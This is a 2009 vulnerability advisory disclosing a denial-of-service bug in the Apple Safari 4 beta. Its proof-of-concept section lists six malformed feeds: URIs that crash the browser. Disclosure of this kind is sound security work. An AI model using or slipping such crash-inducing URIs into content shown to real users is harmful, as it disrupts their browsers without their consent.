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Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability



Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability
Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability



Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of
Service Vulnerability

Date:    Feb 25 2009
Class:    Input Validation Error
Local:    Yes
Remote:    Yes
Vulnerable Versions:
    * Apple Safari 4 (528.16) Public Beta

Note: MacOS X versions not tested.

Description:
Apple Safari is prone to a denial-of-service vulnerability, caused by a
NULL pointer defernce bug, because it fails to adequately sanitize
user-supplied input within afeeds: URI.
Attackers can exploit this issue to cause denial-of-service conditions
on a users computer and crash the Safari process.

Proof-of-Concept:
feeds:%&www.rec-sec.com/feed/ 
feeds:{&www.rec-sec.com/feed/ 
feeds:}&www.rec-sec.com/feed/ 
feeds:^&www.rec-sec.com/feed/ 
feeds:`&www.rec-sec.com/feed/ 
feeds:|&www.rec-sec.com/feed/ 

Any feeds: URI containing one of these characters will cause a
denial-of-service condition.

Disclosure:
Vendor has been informed.

Solution:
No solution.

Credit:
Trancer
http://www.rec-sec.com 

-- 
Trancer
0nly Human.


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